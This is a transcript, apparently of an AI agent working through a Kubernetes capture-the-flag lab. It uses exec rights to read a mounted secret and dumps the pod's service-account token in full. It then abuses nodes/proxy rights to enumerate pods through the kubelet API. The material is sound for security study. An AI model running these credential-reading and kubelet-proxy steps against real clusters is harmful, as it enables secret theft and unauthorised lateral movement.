Error from server (Forbidden): cronjobs.batch is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "cronjobs" in API group "batch" at the cluster scope
Error from server (Forbidden): jobs.batch is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "jobs" in API group "batch" at the cluster scope
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.
Thinking

"Stealth-Left" challenge — B-2 stealth bomber themed, /etc/secrets, b2 namespace. Very restricted permissions. Let me check what I can do in b2.

$ Bash
Check b2 namespace permissions and resources
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== PERMS B2 ==='
kubectl auth can-i --list -n b2 2>&1
echo '=== PERMS JUMPHOST ==='
kubectl auth can-i --list -n jumphost 2>&1
echo '=== GET ALL B2 ==='
kubectl get all -n b2 2>&1
echo '=== SECRETS B2 ==='
kubectl get secrets -n b2 2>&1
echo '=== PODS B2 ==='
kubectl get pods -n b2 -o wide 2>&1
echo '=== DESCRIBE POD ==='
kubectl get pods -n b2 -o yaml 2>&1 | head -80
exit
SSHEOF
 ____  ____  ____   __   __   ____  _  _       __    ____  ____ 
/ ___)(_  _)(  __) / _\ (  ) (_  _)/ )( \ ___ (  )  (  __)(_  _)
\___ \  )(   ) _) /    \/ (_/\ )(  ) __ ((___)/ (_/\ ) _)   )(  
(____/ (__) (____)\_/\_/\____/(__) \_)(_/     \____/(____) (__) 

------------------------------------------------------------
|                                                          |
|     Hidden '/etc/secret's are crossing our skies.        |
|        Let’s find out what’s really going on.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== PERMS B2 ==='
kubectl auth can-i --list -n b2 2>&1
echo '=== PERMS JUMPHOST ==='
kubectl auth can-i --list -n jumphost 2>&1
echo '=== GET ALL B2 ==='
kubectl get all -n b2 2>&1
echo '=== SECRETS B2 ==='
kubectl get secrets -n b2 2>&1
echo '=== PODS B2 ==='
kubectl get pods -n b2 -o wide 2>&1
echo '=== DESCRIBE POD ==='
kubectl get pods -n b2 -o yaml 2>&1 | head -80
exit
echo '=== PERMS B2 ==='
kubectl auth can-i --list -n b2 2>&1
echo '=== PERMS JUMPHOST ==='
kubectl auth can-i --list -n jumphost 2>&1
echo '=== GET ALL B2 ==='
kubectl get all -n b2 2>&1
echo '=== SECRETS B2 ==='
kubectl get secrets -n b2 2>&1
echo '=== PODS B2 ==='
kubectl get pods -n b2 -o wide 2>&1
echo '=== DESCRIBE POD ==='
kubectl get pods -n b2 -o yaml 2>&1 | head -80
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== PERMS B2 ==='
[?2004l=== PERMS B2 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl auth can-i --list -n b2 2>&1
[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
pods/exec                                       []                                     []               [get list create]
pods                                            []                                     []               [get list]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== PERMS JUMPHOST ==='
[?2004l=== PERMS JUMPHOST ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl auth can-i --list -n jumphost 2>&1
[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== GET ALL B2 ==='
[?2004l=== GET ALL B2 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get all -n b2 2>&1
[?2004lNAME                  READY   STATUS    RESTARTS   AGE
b2-6454ffccfb-bmfgs   1/1     Running   0          30m
Error from server (Forbidden): replicationcontrollers is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "replicationcontrollers" in API group "" in the namespace "b2"
Error from server (Forbidden): services is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "services" in API group "" in the namespace "b2"
Error from server (Forbidden): daemonsets.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "daemonsets" in API group "apps" in the namespace "b2"
Error from server (Forbidden): deployments.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "deployments" in API group "apps" in the namespace "b2"
Error from server (Forbidden): replicasets.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "replicasets" in API group "apps" in the namespace "b2"
Error from server (Forbidden): statefulsets.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "statefulsets" in API group "apps" in the namespace "b2"
Error from server (Forbidden): horizontalpodautoscalers.autoscaling is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "horizontalpodautoscalers" in API group "autoscaling" in the namespace "b2"
Error from server (Forbidden): cronjobs.batch is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "cronjobs" in API group "batch" in the namespace "b2"
Error from server (Forbidden): jobs.batch is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "jobs" in API group "batch" in the namespace "b2"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== SECRETS B2 ==='
[?2004l=== SECRETS B2 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get secrets -n b2 2>&1
[?2004lError from server (Forbidden): secrets is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "secrets" in API group "" in the namespace "b2"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== PODS B2 ==='
[?2004l=== PODS B2 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get pods -n b2 -o wide 2>&1
[?2004lNAME                  READY   STATUS    RESTARTS   AGE   IP               NODE     NOMINATED NODE   READINESS GATES
b2-6454ffccfb-bmfgs   1/1     Running   0          30m   192.168.84.129   node-1   <none>           <none>
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== DESCRIBE POD ==='
[?2004l=== DESCRIBE POD ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get pods -n b2 -o yaml 2>&1 | head -80 ]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get pods -n b2 -o yaml 2>&1 | head -80
[?2004lapiVersion: v1
items:
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: c7ea95ca6a7e159d3c58217ae2d5d08c820d3632f15cb0a3589dc3095f09d9ce
      cni.projectcalico.org/podIP: 192.168.84.129/32
      cni.projectcalico.org/podIPs: 192.168.84.129/32
    creationTimestamp: "2026-03-25T11:13:33Z"
    generateName: b2-6454ffccfb-
    generation: 1
    labels:
      app: b2
      pod-template-hash: 6454ffccfb
    name: b2-6454ffccfb-bmfgs
    namespace: b2
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: b2-6454ffccfb
      uid: 8d3abcb4-e6d5-4c19-8359-222971d83758
    resourceVersion: "1137"
    uid: 41c10977-c8d6-4c37-9e78-03a56d9b8763
  spec:
    containers:
    - command:
      - sleep
      - inf
      image: ghcr.io/controlplaneio/simulator-private/jump:v1.35.1-jammy-20260210.1
      imagePullPolicy: IfNotPresent
      lifecycle:
        postStart:
          exec:
            command:
            - /bin/sh
            - -c
            - 'echo ''echo "WARNING: AIRGAP CONFIGURATION DETECTED."'' >> /root/.bashrc'
      name: b2
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/secret
        name: secret-volume
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-j9wfp
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: node-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: stealth
    serviceAccountName: stealth
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: secret-volume
      secret:
        defaultMode: 420
        secretName: secret
    - name: kube-api-access-j9wfp
      projected:
        defaultMode: 420
        sources:
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.

The b2 pod has a secret volume mounted at /etc/secret from a secret named secret. I have pods/exec in the b2 namespace. Let me exec in and read it.

$ Bash
Exec into b2 pod and read the secret volume
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== READ SECRET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- ls -la /etc/secret/ 2>&1
echo '=== CAT SECRET FILES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for f in /etc/secret/*; do echo "--- $f ---"; cat "$f"; echo; done' 2>&1
echo '=== SA TOKEN ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>&1 | head -1
echo '=== ENV ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- env 2>&1
exit
SSHEOF
 ____  ____  ____   __   __   ____  _  _       __    ____  ____ 
/ ___)(_  _)(  __) / _\ (  ) (_  _)/ )( \ ___ (  )  (  __)(_  _)
\___ \  )(   ) _) /    \/ (_/\ )(  ) __ ((___)/ (_/\ ) _)   )(  
(____/ (__) (____)\_/\_/\____/(__) \_)(_/     \____/(____) (__) 

------------------------------------------------------------
|                                                          |
|     Hidden '/etc/secret's are crossing our skies.        |
|        Let’s find out what’s really going on.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== READ SECRET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- ls -la /etc/secret/ 2>&1
echo '=== CAT SECRET FILES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for f in /etc/secret/*; do echo "--- $f ---"; cat "$f"; echo; done' 2>&1
echo '=== SA TOKEN ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>&1 | head -1
echo '=== ENV ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- env 2>&1
exit
echo '=== READ SECRET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- ls -la /etc/secret/ 2>&1
echo '=== CAT SECRET FILES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for f in /etc/secret/*; do echo "--- $f ---"; cat "$f"; echo; done' 2>&1
echo '=== SA TOKEN ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>&1 | head -1
echo '=== ENV ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- env 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== READ SECRET ==='
[?2004l=== READ SECRET ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- ls -lla /etc/secret/ 2>&1
[?2004ltotal 4
drwxrwxrwt 3 root root  120 Mar 25 11:13 .
drwxr-xr-x 1 root root 4096 Mar 25 11:14 ..
drwxr-xr-x 2 root root   80 Mar 25 11:13 ..2026_03_25_11_13_34.1958996753
lrwxrwxrwx 1 root root   32 Mar 25 11:13 ..data -> ..2026_03_25_11_13_34.1958996753
lrwxrwxrwx 1 root root   11 Mar 25 11:13 flag -> ..data/flag
lrwxrwxrwx 1 root root   11 Mar 25 11:13 hint -> ..data/hint
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== CAT SECRET FILES ==='
[?2004l=== CAT SECRET FILES ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'for f in /etc/secret/*; do echo "--- $f ---"; cat "$f"; echo; done' 2>&1
[?2004l--- /etc/secret/flag ---
flag_ctf{not_really_stealth_right}
--- /etc/secret/hint ---
"Is there any other plane flying above our head?
I hope this service account can interact with the Nodes, to help enumerate the pods and the namespaces..."

[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== SA TOKEN ==='
[?2004l=== SA TOKEN ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat //var/run/secrets/kubernetes.io/serviceaccount/token 2>&1 | head -1
[?2004leyJhbGciOiJSUzI1NiIsImtpZCI6Ilgxbzh4WEJjeDBYSVJieGs0Y2lFWDNYOEp4M0NMVDgzLWtlUkVSdXJZdGMifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODA1OTczMjE0LCJpYXQiOjE3NzQ0MzcyMTQsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiNmIyNDk5OTctNDA0Ni00NWI2LWEwNGItYjJhNmE5NWIwYzkzIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJiMiIsIm5vZGUiOnsibmFtZSI6Im5vZGUtMSIsInVpZCI6IjI2MzBmNjY3LTU5ZDQtNDVmNC1iYWM5LTZkYzY0MzFhYmUyOSJ9LCJwb2QiOnsibmFtZSI6ImIyLTY0NTRmZmNjZmItYm1mZ3MiLCJ1aWQiOiI0MWMxMDk3Ny1jOGQ2LTRjMzctOWU3OC0wM2E1NmQ5Yjg3NjMifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6InN0ZWFsdGgiLCJ1aWQiOiI4YzgwZTVjZC0yM2IyLTQ3ZGYtYjBlZi1jNWM1MGRjNTc2MTgifSwid2FybmFmdGVyIjoxNzc0NDQwODIxfSwibmJmIjoxNzc0NDM3MjE0LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6YjI6c3RlYWx0aCJ9.LbuSM-A6FdrcziBP8yumbUpP3IFfQaHnT1fgceBS5pjtlrfqSaz1NFwVdqYU4v1D8H2oALfnErLEErI_kbQlSilbu2PUW2taWcNFbPOB9fQQuU3TDbP7ddFGp8Gmg5ek65YmJ11j3Z4_jw38DCQ0vP7VR_NmHbKkbkGn4cgKVbOLdVKFVVelZLBjLgLkTUuXm5IhoxntzGVHNBrcbwgyCclXsVXFD5tNC0lq0_BmM9SJJDZzrzspKiW8wxi1EFAiIL8UpxRNUAWk6fgsQaxo_2yx_4wOfMTGV2bnl19z1d5nuSvphR-Gf5mEcUa4koLTpkurWBGc0EqP98fqNo2xTg[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== ENV ==='
[?2004l=== ENV ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- env 22>&1
[?2004lPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=b2-6454ffccfb-bmfgs
DEBIAN_FRONTEND=noninteractive
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
HOME=/root
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.

FLAG FOUND: flag_ctf{not_really_stealth_right}

And there's a hint for Flag 2: "Is there any other plane flying above our head?" with the stealth service account token having Node access to enumerate pods and namespaces. Let me use that SA token to find more flags.

$ Bash
Use stealth SA token to enumerate cluster
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== STEALTH SA PERMS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list 2>&1
echo '=== NAMESPACES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get ns 2>&1
echo '=== NODES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get nodes -o wide 2>&1
echo '=== ALL PODS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get pods -A -o wide 2>&1
exit
SSHEOF
 ____  ____  ____   __   __   ____  _  _       __    ____  ____ 
/ ___)(_  _)(  __) / _\ (  ) (_  _)/ )( \ ___ (  )  (  __)(_  _)
\___ \  )(   ) _) /    \/ (_/\ )(  ) __ ((___)/ (_/\ ) _)   )(  
(____/ (__) (____)\_/\_/\____/(__) \_)(_/     \____/(____) (__) 

------------------------------------------------------------
|                                                          |
|     Hidden '/etc/secret's are crossing our skies.        |
|        Let’s find out what’s really going on.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== STEALTH SA PERMS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list 2>&1
echo '=== NAMESPACES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get ns 2>&1
echo '=== NODES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get nodes -o wide 2>&1
echo '=== ALL PODS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get pods -A -o wide 2>&1
exit
echo '=== STEALTH SA PERMS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list 2>&1
echo '=== NAMESPACES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get ns 2>&1
echo '=== NODES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get nodes -o wide 2>&1
echo '=== ALL PODS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get pods -A -o wide 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== STEALTH SA PERMS ==='
[?2004l=== STEALTH SA PERMS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl auth can-i --list 2>&1
[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
nodes/proxy                                     []                                     []               [get watch list]
nodes                                           []                                     []               [get watch list]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== NAMESPACES ==='
[?2004l=== NAMESPACES ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get ns 2>&1
[?2004lError from server (Forbidden): namespaces is forbidden: User "system:serviceaccount:b2:stealth" cannot list resource "namespaces" in API group "" at the cluster scope
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== NODES ==='
[?2004l=== NODES ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get nodes -o wide 2>&1
[?2004lNAME       STATUS   ROLES           AGE   VERSION   INTERNAL-IP    EXTERNAL-IP   OS-IMAGE             KERNEL-VERSION   CONTAINER-RUNTIME
master-1   Ready    control-plane   31m   v1.35.1   10.0.217.130   <none>        Ubuntu 22.04.5 LTS   6.8.0-1044-aws   containerd://1.7.30
node-1     Ready    <none>          31m   v1.35.1   10.0.236.119   <none>        Ubuntu 22.04.5 LTS   6.8.0-1044-aws   containerd://1.7.30
node-2     Ready    <none>          31m   v1.35.1   10.0.191.212   <none>        Ubuntu 22.04.5 LTS   6.8.0-1044-aws   containerd://1.7.30
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== ALL PODS ==='
[?2004l=== ALL PODS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get pods -A -o wide 2>&1
[?2004lError from server (Forbidden): pods is forbidden: User "system:serviceaccount:b2:stealth" cannot list resource "pods" in API group "" at the cluster scope
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.
Thinking

The stealth SA has nodes/proxy access — that's kubelet API access! Let me use it to enumerate all pods via the kubelet.

$ Bash
Use kubelet proxy to enumerate pods on all nodes
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== KUBELET PODS ON NODE-1 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>&1 | head -5
echo '=== KUBELET PODS ON NODE-2 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>&1 | head -5
echo '=== KUBELET PODS ON MASTER ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/master-1/proxy/pods/ 2>&1 | head -5
echo '=== JUST POD NAMES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[^\"]*\"" | head -30' 2>&1
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[^\"]*\"" | head -30' 2>&1
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/master-1/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[^\"]*\"" | head -30' 2>&1
exit
SSHEOF
<persisted-output>
Output too large (142.4KB). Full output saved to: /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bxl434kks.txt

Preview (first 2KB):
 ____  ____  ____   __   __   ____  _  _       __    ____  ____ 
/ ___)(_  _)(  __) / _\ (  ) (_  _)/ )( \ ___ (  )  (  __)(_  _)
\___ \  )(   ) _) /    \/ (_/\ )(  ) __ ((___)/ (_/\ ) _)   )(  
(____/ (__) (____)\_/\_/\____/(__) \_)(_/     \____/(____) (__) 

------------------------------------------------------------
|                                                          |
|     Hidden '/etc/secret's are crossing our skies.        |
|        Let’s find out what’s really going on.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== KUBELET PODS ON NODE-1 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>&1 | head -5
echo '=== KUBELET PODS ON NODE-2 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>&1 | head -5
echo '=== KUBELET PODS ON MASTER ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/master-1/proxy/pods/ 2>&1 | head -5
echo '=== JUST POD NAMES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[^\"]*\"" | head -30' 2>&1
...
</persisted-output>
$ Bash
Filter for non-system pod names
grep '"name"' /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bxl434kks.txt | grep -v 'kube-\|calico\|coredns\|proxy\|controller\|scheduler\|etcd\|apiserver' | head -30
[?2004l"name":"f117-56dcc5bbcf-lhpjg"
"name":"f117-56dcc5bbcf"
"name":"secret-volume"
"name":"stealth"
"name":"secret-volume"
"name":"stealth"
"name":"secret-volume"
"name":"xtables-lock"
"name":"lib-modules"
"name":"NODE_NAME"
"name":"xtables-lock"
"name":"lib-modules"
"name":"xtables-lock"
"name":"lib-modules"
[?2004l"name":"jumphost-5f66c55446-d5bkl"
"name":"jumphost-5f66c55446"
"name":"jumphost"
"name":"jumphost"
"name":"xtables-lock"
"name":"lib-modules"
"name":"NODE_NAME"
"name":"xtables-lock"
"name":"lib-modules"
"name":"xtables-lock"
"name":"lib-modules"
"name":"lib-modules"
"name":"xtables-lock"
"name":"lib-modules"
"name":"NODE_NAME"
"name":"xtables-lock"

